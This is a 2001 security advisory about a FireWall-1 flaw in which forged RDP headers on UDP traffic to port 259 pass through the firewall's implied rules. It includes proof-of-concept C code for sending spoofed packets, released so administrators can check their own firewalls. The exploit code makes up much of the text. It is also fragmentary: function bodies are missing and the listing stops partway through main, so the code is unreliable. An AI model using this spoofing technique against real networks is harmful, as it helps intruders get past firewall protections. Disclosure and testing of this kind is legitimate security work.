FireWall-1 RDP Bypass Vulnerability Exploit Code Released
14 Jul. 2001
Summary
It is possible to bypass FireWall-1 with fake RDP packets if the default implied rules are being used.
RDP (Reliable Data Protocol, but not the one specified in RFC 908, a Check Point proprietary one) is used by FireWall-1 on top of the User Datagram Protocol (UDP) to establish encrypted sessions.
FireWall-1 management rules allow arbitrary either bound RDP connections to traverse the firewall. Only the destination port (259) and the RDP command are verified by FireWall-1. By adding a faked RDP header to normal UDP traffic, any content can be passed to port 259 on any remote host on either side of the firewall.
Implied rules cannot be easily modified or removed (except all together) with the FireWall-1 policy editor.
The following is an exploit code that can be used by administrators to verify whether they are vulnerable to this security problem.
Exploit:
/*
Checkpoint FW-1 Version 4.1 "RDP Bypass Vulnerability" proof of concept code
Copyright 2001 Jochen Bauer, Inside Security IT Consulting GmbH <jtb@inside-security.de>
Compiled and tested on SuSE Linux 7.1
This program is for testing purposes only, any other use is prohibited!
*/
/*See $FWDIR/lib/crypt.def for the following definitions.*/
/*We set the highest bit, so that the RDP commands are */
/*not members of the sets RDPCRYPTF and RDPCRYPT_RESTARTF*/
#define RDP_PORT 259 /*RDP port*/
#define RDPCRYPT_RESTARTCMD 101|0x80000000
#define RDPCRYPTCMD 100|0x80000000
#define RDPUSERCMD 150|0x80000000
#define RDPSTATUSCMD 128|0x80000000
/*---------------Checksum calculation--------------------------------*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft=len;
register unsigned short *w=addr;
register int sum=0;
unsigned short answer=0;
/*------------Send spoofed UDP packet-----------------------------------*/
int send_udp(int sfd,unsigned int src,unsigned short src_p,
unsigned int dst,unsigned short dst_p,char *buffer,int len)
int main(int argc, char *argv[])
{
int i;
unsigned int source,target;
unsigned short int s_port,d_port;
char payload[]="abcdefg"; /*payload length must be a multiple of 4*/
char *data;
/*RDP header, refer to $FWDIR/lib/tcpip.def*/
struct rdp_hdr
{
unsigned int rdp_magic;
unsigned int rdp_cmd;
} rdp_head;
/* the command number can be one of the following: */
/* RDPCRYPT_RESTARTCMD, RDPCRYPTCMD, RDPUSERCMD, RDPSTATUSCMD */
rdp_head.rdp_cmd=htonl(RDPCRYPT_RESTARTCMD);
rdp_head.rdp_magic=htonl(12345); /*seems to be irrelevant*/